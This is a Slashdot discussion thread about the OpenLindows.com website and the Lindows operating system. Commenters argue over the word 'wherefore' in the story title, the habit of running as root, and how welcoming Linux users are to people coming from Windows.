Whence did the title of this story come? I pity whomever tries to use rarely-used inquisitives in English. "Wherefore" essentially means "why" (it's actually more like "for what reason" but that's roughly "why"). Hence when Juliet asked "Wherefore art thou Romeo?" she asked (in modern parlance) "Why are you Romeo?" She was upset that he had to be born of the sworn enemies of her family. She was *not* asking where Romeo was at that moment. So the question is, what did the poster mean by "Openlindows.com: Wherefore art thou? Either he's really smart and means by this to ask why such a thing exists ("why are you" ~ "why do you exist") or he doesn't know what "wherefore" means and just wants a catchy title. I bet it's the latter. So the question is, wherefore exists such an editor as to use this title? By the way, openlindows sounds like a really good idea to me - it allows an easy way for lindows users (presumably less knowledgeable about software than most linux or unix users) to get acquainted with the idea of open source software and development. Sure, most of the users won't be developing themselves, but that's true for linux anyway.

Consistancy in Modding....

[2toise]

sheesh (Score:1, Offtopic) by Anonymous Coward on Wednesday August 27, @05:34PM (#6808573) "Wherefore" means "why," not "where." When Shakespeare wrote, "Wherefore art thou Romeo?" he was saying, "Why are you 'Romeo?'" As in, "Why did you have to be born the son of my father's enemy?" Basic literacy, you know? Score:1, Offtopic, whereas: Wherefore != Where (Score:5, Informative) by RimmerExperience (456643) on Wednesday August 27, @05:38PM (#6808603) The article points to the lack of an Open Lindows community (e.g. 'where is it'?). 'Wherefore' in Olde English...e, however, means 'why' or 'for what reason'. Wherefore [realdictionary.com] [realdictionary.com] (Juliet laments "why are you Romeo", not "where are you Romeo?") Gets +5 Informative. Interesting...

Re:Consistancy in Modding....

[valkraider]

-1, unformatted/hard-to-read

Maybe no one uses Lindows???

[rindeee]

After all, every machine I've seen my peers purchase from WalMart.com or Tiger gets reformatted and Windows 98 installed on it from the old CD they have lying around. For $199 it's tough to bit...and Lindows blows.

I have purchased a few of them, installed SuSE 8.2 and made Hylafax servers out of them. Blah.

ER

Re:Maybe no one uses Lindows???

[evilviper]

For $199 it's tough to bit

Bull... You can find great $200 computers from smaller shops, that beat the crap out of what Walmart offers. Also, you save a lot of money buying from a smaller company, that only has a presence is one state... If you are in CA, and buy from a shop out-of state, you are going to save at least $15 (enough to make up for shipping costs).

I have purchased a few of them, installed SuSE 8.2 and made Hylafax servers out of them.

Why? Better computers can be found, easilly.

Openlindows

[9812713]

If you want a Windows like desktop - Choose Windows; If you want a linux os, Go all Linux, none of this propriety (spelling?) software distros.. I mean it is great that they are trying to make is easier for the average user (Click-n-Run) but if you want change, download a distro - install.. OH No! not a 0.25$ cd.. what will I ever do. Plus if it is debian based -- Shouldn't they just use apt-get... --- :) ---

Shouldn't OpenLindows have an XView interface? ;)

[J. J. Ramsey]

OpenLindows made me think of Sun's OpenWindows. Just imagine olvwm and all the various XView apps, and that menu that could be edited with a simple text editor.

Ok, maybe not.

First change I would make....

[gilesjuk]

Make Lindows run as something other than root, ludicrous to run as root with Linux.

I think this site is just a way of cutting their development costs.

Your site

[dbCooper0]

whbox.com has some originality, I agree. Didn't spend too much time there, but wanted to tell you that a computer can't be "taylored" (unless that's your name :)...if you want to emphasise the custom-built thing...the word is "tailored"

Why is Linux so anti-Lindows?

[Anonymous Coward]

I'm being serious here. The Linux community seems to think that mastery of the desktop is an automatic thing. Distros like Lindows, Xandros, Lycoris - these are all frowned upon for mimicing Windows. Why? Sure, in the last few years, Linux has become more of what it should be, but there is a large, untapped source of people that would be willing to use it on the desktop, but are put off by the inherent dislike Linux users seem to have for Windows users. Don't you want them to switch? Well, to tell you the truth, you seem intent on damaging your own future, like using Linux is the only way, and anyone else is stupid.

Windows sucks. I wish I could get off of it, but I still use it on a daily basis simply because it's what I know. I've been on MS since DOS 3.3, why is it a surprise that I, just like 90% of computer users out there - am just not comfortable with a community that assumes too much?

Linux is great, Windows sucks, tell me something I don't know, like why one distro likes my sound card and another doesn't without tweaking. Why I can print on yet another distro, but the first two can't even see my server.

Linux has a long way to go, just like Windows does. The difference is a basic usability in Windows that is intuitive for those of us that *only know* Windows. Sure, mom can use Linux (except for her bible stuff and her preferred Mah Jong app). Sure, if I wasn't taking care of two kids, I would probably have the time to learn Linux, but right now, I - and many many others - want to make the switch but get very little help from YOU. You even attack your own "approved" list of Distros. Mandrake lovers bitch about RH. Debian lovers hate them both. Where is the love?

Re:Why is Linux so anti-Lindows?

[biggj]

You have a really good point. I was there for a long time. I started with DOS, then Windows 3.1, made the jump to apple for a few years and then came back to Windows when W2K came out. For the last year or two I have installed and reinstalled various different version of RH and Mandrake, along with attempting to install PPCLinux (a RH distro). Each time I would be okay for a few days, and then I would find some major thing I couldn't do that I needed to... and back to Windows I went.

When RH 9 came out, I was really hesitant to try it as my main desktop, so installed it on my extra machine (I have two at work). There I messed with it for a while, making sure that I could do everything I wanted. There are tons of GUI tools built into both KDE and GNOME. Along with ton's of help groups.google.com. After a few weeks, I decided I was ready for the switch.

I have been using RH9 with Ximian (mod of GNOME) as my desktop (which you have to install separately). I have KDE installed so that I can use some of there apps for burning and media and such. I have Crossover Office installed to run Excel and Word. I will admit I am on my second install, don't know why, but the first one got hosed (I think it had something to do with recompiling glibc). But since the second install, I have been fine. There isn't anything I can't do that I could on Windows. It a bit faster, and I had no trouble with the worms that were floating around.

A couple things I can say are:

1) installing with a flat Workstation/Server/etc. install doesn't typically give you ever thing you need.

2) the groups are you friend. Every question you can think of has been asked.

While Redhat may not be the best distro (I personally couldn't say), there are a ton of people using it, therefore there is tons of support for it.

That's my 2 cents ... (** flame away **)

Re:Why is Linux so anti-Lindows?

[AstroDrabb]

I personally have two problems with Lindows.

The first is that IMO they charge too much . Though I just read that they dropped the price to click-n-run to about $49 a year which is not bad.
The biggest problem I have with them is that they by default use the root user. This is a big no-no. This is just as bad as MS and having all users in the Administrators group. Using root all the time under Linux or any Unix is the biggest brain dead move a distro could make. It opens the user to all kinds of exploits and make it no better then MS windows. IMO, Red Hat is doing things the correct way as far as users needing to do things as root. You work as a normal user and when you need to do something that requires root, you get prompted for the root password. Stay away from Lindows OS.

Re:Why is Linux so anti-Lindows?

[The Revolutionary]

"Sure, mom can use Linux (except for her bible stuff and her preferred Mah Jong app)"

GNOME 2.x Mahjongg seems quite reasonable to me, and is quite sharp looking too. It should be included in your gnome-games package, er, that is, should hopefully be in the default install.

GnomeSword seems to be a fair enough tool for home Bible reference and study. There is a similar Windows version which she can use before switching to help determine whether it can meet her needs.

GnomeSword anyhow still uses GTK 1.2 (right?), which may or may not for your distro mean a somewhat inconsistent look and feel, so you might find the KDE equivalent, BibleTime preferable.

"The difference is a basic usability in Windows that is intuitive for those of us that *only know* Windows."

Have you tried the latest from Red Hat and Mandrake? If you haven't recently, and you would like to switch, keep trying, or see if you can find a friend or relative who can help you out.

To sound *correctly* intellectual

[Jerf]

If you want to sound correctly psuedo-intellectual, this situation calls for whence .

Still, as a psuedo-intellectual myself, I'd suggest sticking to "where's". (IMHO, the time to lift the restriction in formal writing on contractions has come. OTOH, acronyms still don't belong there yet. ;-) or smilies ;-) )

Re:To sound *correctly* intellectual

[justinburt]

psuedo-intellectual

FYI, it's "pseudo-" not "psuedo-" (unless you really want to sound like a pseudo-intellectual)

Why would it be "whence"?

"Whence" = "from where" ("hence" = "from here"; "thence" = "from there")
"Whither" = "to where" ("hither" = "to here" e.g. "hither and yon" "all over the place"; "thither" = "to there")

Similar sound relationships between various correlatives occur in lots of languages, particularly Ancient Greek, Japanese (ko-so-a-do series), Gaelic, also mildly in German (if you push it).

Justin

Re:To sound *correctly* intellectual

[Jerf]

"Whence X?" is often used as in "Where did X come from? What is X?" which is appropriate in this case. (I looked it up in the dictionary (m-w.com) and didn't see this either, but I've seen it enough to know it's legitimate usage.) "Where the heck did OpenLindows come from?"

"Whither X?" is often used as in "Where is X going?" You could make a case for "Where the heck is OpenLindows going?" but I don't think that was the idea here.

"Often" here being relative, but I have seen each more then once.

Wherefore?

[AJWM]

Therefore!

Re:Wherefore?

[jvj24601]

> Therefore!

There castle!

Re:Wherefore?

[finkployd]

Why are you talking like that?

Finkployd

Trademarks

[blang]

The public relations strategy of LindowsOS seems to be to play to the general/Windows trade press and to ignore the Linux press. Given that their target audience is found among Windows users rather than those already using Linux, that may be not a bad plan. So maybe my query to Schwarzman went unanswered because of that reticence. Or maybe they just didn't want to say anything that might give OpenLindows more ink. That would make sense too.

I would imagine the silence might be more of a legal nature. I imagine lindows have trademarked lindows, so their PR guy might not have a statement untill their lawyers have figured out how to deal with openLindows.

Lindows does not run as root anymore

[David Jao]

Make Lindows run as something other than root, ludicrous to run as root with Linux.

Let's please put this myth to rest. This is the third time this month that I have posted to correct this misimpression.

Lindows used to run everything as root, but current versions of Lindows don't run everything as root anymore. You have the option to add regular users during installation, and the installation encourages you to do so.

Just like in redhat.

Just like in debian.

I'm not advocating Lindows by any means (I don't even like their product), but I do think it is important to get the facts correct.

I also like the fact that...

[Anonymous Coward]

there is a nice copyright at the bottom of the page, and the ENTIRE site is ripped straight from oscommerce.com

hmm WAY TO GO...

In that case...

[dsfox]

your mum probably hasn't opened any ports in the firewall and so is not at risk.

Its known, just not by all.

[mschoolbus]

I am quite sure these websites are circling around on the "Lindows Insider" forums, a lot of talk goes on there.

SCO OpenLindows

[ExEleven]

SCO's new "Open" product.

Why Lindows ?

[draxredd]

Go Winux !

Interesting experiments

[heironymouscoward]

As the article mentions, Lindows appears to be selling mainly to Windows users, which is not surprising.

What's remarkable, though, is that a site like OpenLindows seems quite weak, with no strong community and strange discussions between bewildered users and pseudo-geeks who are assumed to be Microsoft shims stirring up the mud.

Q: "Why can't I access my second partition?"

A: "Since ext2fs does not allow fsck, you will find that only RedHat lets you check the free space on your partitions. Note that there are other disk systems, you might find that ext3fs works better for you."

(I'm not quoting, just imitating).

Why is this interesting to the Linux community? Because use of Linux on the desktop is less of a technical issue than a social issue. Here we have an operating system package squarely aimed and marketed at Windows users, and here we have the beginnings of a web site community that uses it.

It's easy to laugh, but we also laughed when ten million AOL users joined "the Internet". If a significant number of Windows users switched to Linux, for whatever reason, we would see dozens of sites like this.

Perhaps what Linux needs - to convince Windows users to switch - is not one more application, but a community model that actually works for ex-Windows users.

How this can be done?

[Vitus Wagner]

I don't beleive that project such as OpenLinows is possible at all. I know just two reasons which motivate authors of successful software projects:

1. Personal need in software which does just that
   
2. Money
   

If we are talking about OSS project, second reason doesn't apply

Creating click'n'run software requires considerable qualification.

Person who is qualified enough to write such thing couldn't have a personal need for it. There can be only two cases

1. One need to install system on few (typically very different in hardware) machines
   
2. One need to install system on the lot of (typically simular) machines
   

In first case it is simplier to manually install and tune up, say Debian.

For second case FAI is invented.

In Other News

[MrBlint]

Microsoft anounce the "Closed Graphical Networking Utopia" or Closed GNU.

atang1 will rule them all

[ph43thon]

for a good time, read atang1's comments

He's the great moderator at lindowsuser.com and I'm certain his tech support savvy will secure a rock solid user base for Lindows.

atang1 gives those tech supporters in Bangalore a run for their money.

e

Re:atang1 will rule them all

[ph43thon]

oh... and here's something for all you lonely Lindows users who share a love for the Lord Jesus

relax! It's just Slashdot.

[rneches]

As a long-time Linux user, I agree completely.

With one caviat: You are describing the Slashdot ecology, not the Linux community in general. People come to Slashdot because they want to rant about something. For reasons I don't understand (tradition? the moderation system? Hemos?), it attracts all the hotheads in, well, just about every software community I can think of.

The wider *NIX community is actually pretty mellow, with a few well-documented exceptions. Theo de Raadt, for instance. He's a well known dickhead, but even he admits that. (And in his case, his acidic personality actually serves to make OpenBSD more secure, I think.)

Slashdot is fun, but don't take it too seriously, or as even as representative.

Re:Yeah..."Whatfor fartest thou" is more correct..

[Paradise Pete]

Someone should update Shakespeare's crappy old language with more modern language...

It's poetry, ya know. Changing the words kinda breaks that, dontcha think?